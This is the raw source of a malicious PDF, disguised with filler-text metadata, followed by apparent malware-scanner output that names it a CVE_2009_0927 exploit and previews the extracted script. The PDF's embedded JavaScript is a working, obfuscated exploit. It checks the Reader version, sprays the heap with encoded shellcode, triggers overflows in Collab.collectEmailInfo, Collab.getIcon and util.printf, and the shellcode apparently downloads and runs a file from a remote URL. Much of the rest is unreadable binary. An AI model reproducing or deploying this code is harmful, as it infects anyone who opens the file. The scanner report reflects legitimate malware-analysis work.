�A/ ����Q��0� H ����y�6_ q�7%�*�L��cd`� zp�c��<# � y� �m 4Z�#�R���Y4^{ �c�)Mn�zn ����(�t�X��1��n�X���M��� �=�}� ���p�a�.1�"l��iNi�ľ�y�X؈F*��}dh v����@ ���m�4� MyӀ*�5-; �0T�` Y:�wm 6� �>�%N۞I d YT)V� ��}eG����N�^
��+�毱���-�-��q�RP� �~M���'��i
B}��In�p� �uL� B�7X?��I*(Qڣhx���<rz3"��Z����|�=]���#�a� S �- ' ד2j1ې �
7~S54c@ �Q��r-�# �n�vrs՝ݗ}�CI����P�$ ���~��z�� 稅|������� LE��r��o�$焺{���g5��L� _d3���l{��p�3�� -N�7[ �| �q�*�56��c�~A<5� ��Kw���f=�y�:�� '<S ��<ϝJL �s"�u����Fl �Aq�U�Y��N{{o�I_v\ �ז�A �n��� ;� ���5�5�X�Z�^�9� �. ��Hi ����� �>�E��_l����d�L��9R��� ���q�n&U)[T6����7| �Zf��K�S�����ޤx���7)^]�7��H�N } /V�۷o��q�(z��m � � ��� ��f�S�T`�ZAx:� -,"?m/��s }0�k|�� � �� �� � =�l)���'��#h� Nm����Sp �R�� �
�5�=od�E5mK�Э� � � m��V�8v�z����{�N�D�� a��"G� 4| �`u�h>� �t�[F������� / -�[K!���}� �G���bj��>)�> -Z�N:ڡ#�2� ��� ��k-�v����r �� ]�o9�V���{� �{���v�s�� n�(���ڝ��q�w8Ÿﭦ�HU��K}ܓ:7�p>�- ���&tN�FE�k�%N ��� ��;�� q��'��� � �� ,&m�9��4Y@Z%7� �� 7� =b�=w�F�#�w�yO ��� \���Em�(�"<�c'6�� K:�� ӊ:��&4
� %��V+�� ��6�L���ҍ{� {�<B[;��X�����/��i��v�j���#����Si �1`�ª�WrY:架]���9v �PV��!�#h7ߞ��Z �{�G�A���=a|��>`|f� a�^� |F�e%� �@�#T�?�|� �I;
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 841>>
stream
x��V�r�6 ��+ޥ3� &)���q�x�� ��!� D,I� A �h�뻴dŪ�d�V=� v��}o�b �t� �����'�Q�nx���
��&X�(¦�����`��l�㹘��%B��l�E"R�[�"J�7��%�k�� �9V����fp���FgOW�_ gK�,�Jؘb����- ;�rtmm��'l����b�e�ob��} �er�il[��I�!����X� f ��n6 �����7�� O���x�o�=���&s,����h������7�� ��Ҿ�|/M��+�=U&����VI�k��@����\� *�q��� Uh� �
eI
��� � ��
���� �t J�' _�����
z�t$�*�� �b-�� [c;Bi z� Q8;� �kF� # � �8K^� �� �)Y���趄��c؋�f ��X�/��{�t o� ��<g� ��zTT0�?Kgؕ|��@ �����mQKf�0�c �iӅ� x���Kb�'bq�H�[ `�RĢяϊ�Fe��,z �� e:����� ͥ�ۭÎ� q/����2c�d1 �� >xM,n�� w[�#t��-���h5{Qg�
,�n"��ҏ����\�K�� 'տ�j��A��Y�` 2w�{�� �@-��}�H�U �� �4���bg �[�= � � � [�I:���X ��� �Y)}wQ E٩9vr j�vD�h�l��� pRMpui���F4���; |���[C�� v'�ڳ�M� -� ���5�y�;��X� �Y.�@���кK�.[/O��k�� ��{�����f��ޅ �6}� kX�^Or-���8C g#��ӷC��sP�ǠLVb�~����4&��Z �u�x}���� �� �X� � �to�
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2366>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�袊�s�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��ڙc�z
e Q@ Q@ Q@ Q@ R���@ E?���=)��� QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� Jy�=QMGE
(�� Q@ Q@ Q@ *�� J( P� #<��� �:RQI+QE �(��(��(��(��(��(��(���kk��>�1��s��Un D��Wk7��D
)bz�~�);� ��*�(��T�09� �B���՞<�C�� �?� Lm Q@ (� �(� �(� �(� �(� ��3��Jtd`(9"�� �8 ��kqh��
(��
(��
(��
(��
(��
(��
(��
(��
(��
( ��
�s��v v"��)�(��(��(��(��)�� E6�|� �v�u��(��(��(��(��(��� (��@ QE QE QE QE QE QE QE QE QE QE QE "���y�GE&�
\VmǠ �QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)� �I;Tu&�� (�ț ��e � �(� �(� �(� �(� �(� �3Ҋ� �ê�=� ��h������h � QE
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
� N�T �ꊊM]X �fY?v�� ��ګQE �* � QE0
(��
(��
(��
(��
r�/C�m �.�� <����(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*A < ���S/*è �s��$O��� )8�sQӋ� �NqM��ij8���E U QE QE QE QE QE QE QE QE QE S�������� B � NԹ�� QE �(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���B�LR�H,��G>� �$�Ҹ�DTQ��� �� H ː�� � . d�Y��w�urycx
��`��Z�N;
(�� (� �(� �(� �(� �YG�Q�>�
�S� �(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P Y c� �U ����QK�^�`��)�QE QE QE QE QE QE QE QE QE QE zS��Q@ E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function vbOPusNc\(vb6ey6Vut\){return vb6ey6Vut;}var aJvlnOjm=new Array\(9070,18959,19100\);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array\(\);var zfBUZF8x;function ozT5jZ5D\(wYkUBVd4, ktekUbjH\){while\(wYkUBVd4.length * 2 < ktekUbjH\){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring\(0, ktekUbjH / 2\);return wYkUBVd4;}function mCMeZdpVP\(hbpVkVkFCM\){if\(hbpVkVkFCM == 0\){var l8v9dClzn = 0x0c0c0c0c;}else if\(hbpVkVkFCM == 1\){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array\(\\"%u5350%u5\\",\\"251%u57\\",\\"56%u9c5\\",\\"5%u00e8%u0\\",\\"000%u5d00%\\",\\"ued83%u3\\",\\"10d%u64c0%\\",\\"u4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u70\\",\\"8b%uad1c%\\",\\"u408b%\\",\\"ueb08%u8b0\\",\\"9%u3440%u\\",\\"408d%\\",\\"u8b7c%u\\",\\"3c40%u5\\",\\"756%u5eb\\",\\"e%u0001%u\\",\\"0100%ubfee\\",\\"%u014e\\",\\"%u0000%\\",\\"uef01%ud6\\",\\"e8%u0001\\",\\"%u5f00%\\",\\"u895e%u81e\\",\\"a%u5ec2%u0\\",\\"001%u5200%\\",\\"u8068%u0\\",\\"000%uf\\",\\"f00%u4e9\\",\\"5%u0001\\",\\"%u8900%\\",\\"u81ea%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u\\",\\"0000%ufb\\",\\"80%u7\\",\\"400%u\\",\\"8806%u\\",\\"321c%ue\\",\\"b46%uc\\",\\"6ee%u3\\",\\"204%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%\\",\\"u95ff%u015\\",\\"2%u0000\\",\\"%uea89%uc2\\",\\"81%u0\\",\\"250%u00\\",\\"00%u5052%u\\",\\"95ff%\\",\\"u0156%\\",\\"u0000%u006\\",\\"a%u006a%u\\",\\"ea89%uc28\\",\\"1%u015e%u0\\",\\"000%u89\\",\\"52%u81ea\\",\\"%u78c\\",\\"2%u0002%u\\",\\"5200%u006a\\",\\"%ud0ff%u05\\",\\"6a%uea\\",\\"89%uc281%\\",\\"u015e%u\\",\\"0000%uff\\",\\"52%u5a95\\",\\"%u0001%u\\",\\"8900%u81\\",\\"ea%u5ec2%u\\",\\"0001%u\\",\\"5200%u\\",\\"8068%u0000\\",\\"%uff00%u4\\",\\"e95%u00\\",\\"01%u89\\",\\"00%u8\\",\\"1ea%u5e\\",\\"c2%u0001\\",\\"%u310\\",\\"0%u01f6%u8\\",\\"ac2%u359c\\",\\"%u026e%u\\",\\"0000%ufb80\\",\\"%u7400%u\\",\\"8806%\\",\\"u321c%ueb\\",\\"46%uc\\",\\"6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c2%u\\",\\"0002%u5\\",\\"200%u95f\\",\\"f%u0152%u\\",\\"0000%uea89\\",\\"%uc281%\\",\\"u0250\\",\\"%u0000%u50\\",\\"52%u95f\\",\\"f%u0156%u0\\",\\"000%u006a%\\",\\"u006a%\\",\\"uea89%u\\",\\"c281%u\\",\\"015e%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002%u520\\",\\"0%u006a%\\",\\"ud0ff\\",\\"%u056a%\\",\\"uea89%u\\",\\"c281%u015\\",\\"e%u0000%uf\\",\\"f52%u5a95%\\",\\"u0001%\\",\\"u9d00%u5\\",\\"f5d%u5a5e\\",\\"%u5b59%\\",\\"uc358%u000\\",\\"0%u00\\",\\"00%u0000%\\",\\"u0000%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u\\",\\"6547%u5\\",\\"474%u6\\",\\"d65%u5070\\",\\"%u7461\\",\\"%u4168%u\\",\\"4c00%u616f\\",\\"%u4c64\\",\\"%u6269\\",\\"%u617\\",\\"2%u797\\",\\"2%u0041%\\",\\"u6547\\",\\"%u5074%u\\",\\"6f72%u416\\",\\"3%u646\\",\\"4%u6572\\",\\"%u737\\",\\"3%u5700%u\\",\\"6e69%u\\",\\"7845%\\",\\"u6365%\\",\\"ubb00%uf28\\",\\"9%uf789%\\",\\"uc030%u7\\",\\"5ae%u2\\",\\"9fd%u89\\",\\"f7%u31f\\",\\"9%ubec0%u0\\",\\"03c%u000\\",\\"0%ub5\\",\\"03%u021b%u\\",\\"0000%uad\\",\\"66%u85\\",\\"03%u021b%u\\",\\"0000%u708b\\",\\"%u8378%\\",\\"u1cc6\\",\\"%ub503%u02\\",\\"1b%u0000%u\\",\\"bd8d%u021f\\",\\"%u000\\",\\"0%u03a\\",\\"d%u1b85%\\",\\"u0002%\\",\\"uab00%u03\\",\\"ad%u1b8\\",\\"5%u0002\\",\\"%u5000%u\\",\\"adab%\\",\\"u8503%u021\\",\\"b%u00\\",\\"00%u5\\",\\"eab%u\\",\\"db31%u\\",\\"56ad%\\",\\"u8503%\\",\\"u021b%u\\",\\"0000%uc68\\",\\"9%ud7\\",\\"89%ufc51%u\\",\\"a6f3%u7459\\",\\"%u5e0\\",\\"4%ueb43%\\",\\"u5ee9%ud1\\",\\"93%u03e0\\",\\"%u2785%u\\",\\"0002%u3\\",\\"100%u96\\",\\"f6%ua\\",\\"d66%ue0c1\\",\\"%u0302%u1f\\",\\"85%u0002\\",\\"%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%ueb\\",\\"c3%u0\\",\\"010%u0000\\",\\"%u0000%u0\\",\\"000%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u\\",\\"8900%u\\",\\"1b85%u00\\",\\"02%u5600%\\",\\"ue857%uff5\\",\\"8%uffff%u5\\",\\"e5f%u\\",\\"01ab%\\",\\"u80ce%ubb3\\",\\"e%u0274%\\",\\"uedeb%\\",\\"u55c3%u4c\\",\\"52%u4f4d%\\",\\"u2e4e%\\",\\"u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u\\",\\"776f%u6c\\",\\"6e%u616\\",\\"f%u54\\",\\"64%u4\\",\\"66f%u6c69\\",\\"%u4165%u7\\",\\"500%u\\",\\"6470%\\",\\"u7461%u2\\",\\"e65%u786\\",\\"5%u0065%u\\",\\"7263%u7\\",\\"361%u2e68%\\",\\"u6870%u00\\",\\"70%u7468%u\\",\\"7074%u2f3\\",\\"a%u742f%u\\",\\"6172%u6b63\\",\\"%u7265\\",\\"%u6c2e%u6b\\",\\"69%u64\\",\\"65%u7665\\",\\"%u6c69%u6\\",\\"32e%u6d6f\\",\\"%u352\\",\\"f%u752\\",\\"f%u6470%\\",\\"u7461%\\",\\"u2e65%u\\",\\"6870%u3f\\",\\"70%u6\\",\\"469%u\\",\\"333d%u\\",\\"7226%u\\",\\"7465%u6\\",\\"f3d%u0\\",\\"06b%u90\\",\\"00\\"\);q9pY6GQ0b = unescape\(q9pY6GQ0b.join\(\\"\\"\)\);var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - \(va7mY8cM + 0x38\);var wYkUBVd4 = unescape\(\\"%u9090%u9090\\"\);wYkUBVd4 = ozT5jZ5D\(wYkUBVd4, ktekUbjH\);var n5e4GmGIKa = \(l8v9dClzn - 0x400000\) / q9sXtOncko;for\(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++\){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2\(\){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString\(\);app.clearTimeOut\(zfBUZF8x\);if\(\(zzRTq7dyO >= 8 && zzRTq7dyO < 8.102\) || zzRTq7dyO < 7.1\){mCMeZdpVP\(0\);var bT7jAmo1 = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bT7jAmo1.length < 44952\) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\\"collabStore\\"] = laBXf53Fr[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bT7jAmo1}\);}if\(\(zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104\) || \(zzRTq7dyO >= 9 && zzRTq7dyO < 9.1\) || zzRTq7dyO <= 7.101\){try{if\(app.doc.Collab.getIcon\){mCMeZdpVP\(2\);var swqUMHj0 = unescape\(\\"%09\\"\);while\(swqUMHj0.length < 0x4000\){swqUMHj0 += swqUMHj0;}swqUMHj0 = \\"N.\\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(swqUMHj0\);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch\(e\){rBMniiLJa = 1;}if\(rBMniiLJa == 1\){if\(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1\){mCMeZdpVP\(1\);var upC1McjEWW = \\"12999999999999999999\\";for\(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++\){upC1McjEWW += \\"8\\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\\"printf\\"]\(\\"%45000f\\", upC1McjEWW\);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut\(\\"app.qw53gKJIH\(\)\\", 10\);';v847Hso8j='ywtF0exopJ';function mrtzccJBY\(lgKM5z1y\){}var wyxZA3FeX=new Array\(27940,8333\);var hw7uuCjlG = oFJlWmX8.replace\(/[]/g, ''\);this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn]\(hw7uuCjlG\);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;)
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��fced4f35799409dd854ebeaea7db546d)
/CreationDate (D:20091020170433+04'00')
/ModDate (D:20091020170433+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000009661 00000 n
0000012824 00000 n
0000000009 00000 n
0000000117 00000 n
0000002999 00000 n
0000003107 00000 n
0000005747 00000 n
0000005855 00000 n
0000008640 00000 n
0000008749 00000 n
0000009737 00000 n
0000009853 00000 n
0000009967 00000 n
0000010074 00000 n
0000010179 00000 n
0000010291 00000 n
0000013019 00000 n
0000013071 00000 n
0000025365 00000 n
0000025787 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
26189
%%EOF
|
|||
generic_stage_recovery_005.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 | 20598 bytes |
SHA-256: c38915ce5bcfcbdae78d27a761f8497976e14857642915b2cfd3e94377622219 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2811>>
stream
x�՜˒۸ ��� g�d�!%Q��ƙKe*Y�ǙTjj ��@� H��� �mC��nm�v �X � s�p � �xA{
� <6�ǟ�O���x�w���w?Mh �!�]ӏo��=� =y��h LW�JH�<��h6 b|o �Ҋ��GD?h����SZ�o�gG��B|4|�lr�e��"��h9��1��菿$R���F��z��?��/����|2�O�� ���`1y�M����Vf� ��'�` �� ?��� � =�{~�7??~��p�O����� 1��)-�� ZQEq<�Ix|��7������}��K�����2�?Z槲 JRf�� ��:c�H��]i�RѾ�2���}O"-dFU�^S') �*�F��V�VR-e� ��J[P�+\foz��c� N9�U�
帑P�)Q���kH ��Pitmi/ � ��x��R�U�
�_)�� $gb_�� M�mA��] I�
6� 墑�V�+���SڵJ�~�EA�h� tn�*�Zj
� �0��R�Z��J`�J��j�(k��0�~� ٲ�,�[R�b�sʍ���� z
�)K� +�(���Ybbx �ڧ��$�=گ-$ З
U �$�/��� K�.�Z����65%��%5��D@�M)�T�� l� _m���uR� ,���shO���+ۜ`Z� ��O}���p��z#`,qO��0��"d� k�b���g �侄qL��l1���x/�Ԥz q �� x+b
�Bk��S�I ��O}��c�� � >��K!�G)%�/ �p/X��� ��,�%+R#���.��i[ڮ)���juM[x'��h ��&m}� � ��(�#%� N���s!�6��*!W$���T��{ 셹ƀ� 랽M�=�-E �&)[� +[��N�T���l4����5����n�Z��� �� <� �� �� cK Rg@�K ���؋�L�� �
6�j�轂� /
R
� ,f�ȵIEYY�<���3J6������FX� >$� �"�>�D� �D �� �� zF��ଽ��?_8�]� �� � -+ -r'�o�Qt�,� $Nhk9�0�H�U�Q&K � �x �6 , `�-��:�sG� �EB��(KI1�e�X�*d�h���M�*� wΐ�ƘD�?H���Z�W
^�W̍�a�J>2ȧ����8 OC k?$��dS�b�� -�z'N�i H>�M x �� ;z�! GL��/2� vZ$l��=.�!
}��8� ��1tX Y�Ԃ6���ː % O}!�T^&QkJ8"��o�@� X���7]��J� u�c0 � �z�{��A�� P'��k|j � *��U�#�� VN�T��匨b ��t�j��rUuD��F�(�~,�}�0g�'e�mx�(/^9|��� *#UV �w(���������3H���Ɇ�H �A.� \H� ���M��� ً��S���(�� �%�HA{��k �c�r��F���[>�� �rD0&t[#+_��. pV0�R��W�� jF�yP�!G�\c��s �)�p�!do���v��&�RzOk ��2:�9�`���1�� NE�� �1��"
Ps#��� �z��kN�i�t�Hm�|��6�� 6{m� y}Yy{�G����Ft�#Y�Js� +*�� !�a�"��l��+�;� ��N���=W ��7q�9j�R �
'M����p��=%��� ���ik��N<_prOర2 ��f�z���S^�(vk �� � �Om�A3�Y7�V Ac����:{�&� oj���y� � ̭�(d�J� Sim�� �?t2}j[:@����� �wDfN�b��^wy�R��c@�=�� ��[8<]� Ѕ�x�9Qp�4E Zޟ9S�R��� �F�[$P�� ��S���":�:H K� �� �c@$ p� ��S rf��� ��:J�|z��Wi R�� Ƃ�S � ����K, jc��bG�' 8�l9�nD%� Zų�C��k��Y�Ϧ�7W��꘍
� k,֑������đ�[iMϢŭ�� M��9��J�L�P��!C��{� .o�M�d#S$�d�`%Zd�L�� ���Z� �ԣ���a�֝� l X @ ��Kp�� �
�ui�3�� ���jӥK�����we��KA3����i ۧ����m٪�����C� 0a� yO9烫����S��`��J� N�X�u0?����� �_�(�t������:����~[�Ϡ�j$y�I�C ��[�� m�#j��s�D.��|c �UF���--��X A�ܣ������U$�u,� �9�TS��V�U-6FW ��aia�~���S�ҥ��{��/ 2�[�V��LCݧ��c�ж�$� B � �iI 3� �3�&���')��E�1�R�C#� ����Tɸ��U�� Rp O�d \ �� ;�|,��t��d�� �r{����g��*�!�b��[+K'�3� ٟ>� ]� ��^\�� ��+�� ��L �N����\.�0O���y���(3 �*�;uq�ק���� ��r :� �.m%��,>�� �|� ���Ev
�g�9ڠ�
7�D���s+h� ���,/d�F��^}�[:� txO��#P�bI +o
�b�:��x���a擋�� Α�D��%�Զp :<���
X'��z�[�'� ]��O}sG!�G��a�N�\���S�m�[61� �Y���k� �/v ����9Tx�4;�p���h� fD�\c؉60� = ��� ��+ �/�T7u { )��; ;,|���%㧛� 3�p�� K�[:�^�9��� '� i�=�S �c�ý�L�y<�ȟ��{[p������m��n F�C�5� �% �N���Q���������w t � Tg0� - ʘ+6
?��-�.��\ ~���� � p��K�яD=��
� /�~�3S7 �� )��$h ���hv���� p�? ���
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2569>>
stream
x�͛M��� ���+��I � d7���>�b:�d1g �, -�.���]S�]�P �ɢ���`��~<�W���%�ȧ/���_ �_)~>�'��tK i��>�f���ͷ�g��g 3o��->E o��y�E�o x~HII � Џ�~9�=���ۿ:�o��R��O� �&X,�pN� Ft�ү ��T� 4����Ͽ�� |���< �[� a��-��3��� 7<�/k� �{��v7x~�n� ��ӛ�������'��_=0���!b~� - +/XSIQ43����� ��/#"����'���G�G+o�h� � <% ǚ=�3jX�pʕ�(fRz����!�c�RW7���mUB��u�VI� ��R�7Tp�[~��7�DSP�4u9�[m��IW�� �S�|�����V��ӎ����x��W"멖,�G�� �7mQ2JT�*�J��0Y6��Z-r*����6
՚U �ctץ
w �5$ʚ� ��u�%�t�T[� ���%+1����� f� i��� �T�v�����I� ��Ř�Bu�\� zp�Σ�e��Tq�bb Ų�
m!J' � �3�o ��U�}s)o z�G�� mAM�� ���o �8 �Kb-��C [.)g5oh� ��� ���-�0L����h�S�s ���/-��*o���Ņ q��? >s�.�=�]�dKa S����G_:I��0���$"�P9�m{�c � �dC\� F4�� � �k�,��ڂ�zQ�+��85;�� �`��
�8� ̟����I iB��f��vy E�d F�� F�z�r� J�&:q%��Fζ �Q�.F�nqU&q <�3*UmRS� <�z��S�}�쁓P${�Y-���F< �Z3:�a�����9� �� ɣf ���RQ���G���vi��z� hw,&^mU�r> +���1-1K :7 � 5k[�f �F��BHK )x��Ҏ$KS8L �N$�U�QN��� #$, ���%�Q�5H�%.C2�D� #�l� ��{<"E� D� Y�{��� )0(�ρ�{ �* 5ޏ�O��R��RĆTS�� #�zRd�� i%�ڞ�N"��� �-'U`�w
�� *�Ο��*��� �P _�{��Y NF���6�� �BsK,�"� r�1B�"� z.��, ��J z �J� Qޕ"�`� ��� � &��* O �R\h�y� [L�Q X'�
։�x9% K���i � oB�G#��$3�"��K�e 5J�.���2Rl�� ����� �H�S�5�|
�;� ɫ�q��2f�q.�&Z[ �s
�� �0�}W� �
+
L����ieI� ���鈴 +_�q:���ٗJX:+.��G�<��dܕ�J���ҩ��M��`yVO��� |�]�Th��#y�| ��ȲA��� ٌm�y�˭ jL� CB���LB�R ��qC�2Q�
S��H$��
���=rΥ�����4u�B3��G�֗֫ ڴ
!��wJµ�� ^Zמ� � ?$U&�gXV#��� L6� =Z4� 1V�j �.Ņ6뿪����? �Q` 2�s��s�����^D����GxR
�ԍS}� �N38��t,Y� . e��,y=�l ��V� ) �@%g�t�%��V ' ��WJ���%����L��V ��itr�oi��Z ^���MM� e ��}Γf�My�v&z�v�ݘ/,�R3� ���� +��[�N�Y@ �@ �2 �r��l� ̺��U�C��~�kz*-� QDM�ПQʥ�� j��i �9
��Q?j ��ȧD3p���Ѽ��D�C~Ժ?��K}3 ��Jwl�=�\� -�, )?l�� sg^nƾU@ ��X]]c�&�%��N �y`Y��(5�] +��� ��T�[�؍ʓ�R% @A�mͲ�����h��R��fk� ^ R ��� �c�U�4]�� 9�Bl � ��G���֥���A����r� ;m/�V��5XX6��( ����ӕ�턚Υ��E͛A9����h�,_F ��-A���[� �t� �r$3��W ����g���@��65P ����)��+�� Y�Ω8�� �� to� �ȥ��h�{B��ԏ|��߯��"��� �m�0���|L&"a.��ܱ� m�� ��V #!��j�uChS � m�[sH��$�S�O0�I(.�-� � OϨ� ɆI�/E[�c� t:�����k� F /%߅�o�|�z���v߬���S��"�u8 � ���%ȁ�� �� H�]U��� �-@���8�����mځ��KGr k=����
ե�� �\3��;l +N
��w�㎅�M�n�z���Cu���� V� �fC-� � � W�z�? %� �-�'R���Q�ly +K��� j�� )��\�L�
.V��� a�ӱ.Á�u � {`: ;�3
�.�-l� �����=Ա�iٕfqQrSi4��ʥ���Շ���0��|�� N�k���B}�qV�#�ټ?Ԥ=G*� ��� ~3���t�_�Yʴ�3�.{��£� ��W���&'�? г�٦mi9o��� ʄ � �T ؼ���B�O�L@c�\.�� �j;:�z�O�^;��e�� �/ ���|�&����T�k �[[��}s.廿��t�^߾��_}, wN��ˣ݂��͜�~= w�� �0�����72�,�o{ ~5/{_���� ����k�*6��4?R���o� ���:
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2714>>
stream
x��[Ms�8 ��W���v/ � �����$����d����9�$H� %+�~ �c�6%Q��S�*)6-�h��` $K�QH ��~� 9^ �*o�}� �Ǵ > ���/�cѓc E�`��)!%�`��y $8o aLYM?�#�� �r8{F+wvxv _(�G�'�$|M�X �V1 &�9����r�v?j�N��_ �� ��߮�d� � F ��2>\S������ �9�d � ��� x��� ث�7/��Ӈ�O? ���q|: � �h�X њjJ������%��n~���Ҿ<��izX�d , V��SC� MI ��=�J7���� �ӂ T cȴ��8�N� �Lg U�6� 2')j|Kʴ=�S_�<�L��pڔ�ij�)�uN�oq��E �/����:<��Z�Z� �d[Qɶ\��t�� ?�TȾ��4g [˩T5� x b D ��A����"�ט�
���ۀN� +��:Q���lC�d ��� ��sN_ � ���<�� �Tёa� ��[��fq0 s IO�2 �Xd���δ �#���^JjYש�6 K`��{ʔdT���� �L�d@� R�!��'��k��E�)ĭ�!�:D +:����cⰝ�pJՎcx?J)0�,M5�q�� �͘R ��ؓ�;��1� ���� �ɰt�8˱Z: ��� f`�2j ���ޘ�~�|� � ��P�� hԖ�=�� �6 � �
V�� l�PV� �%7^�'\<�ϯ �C )�2�1X��rQ� G��
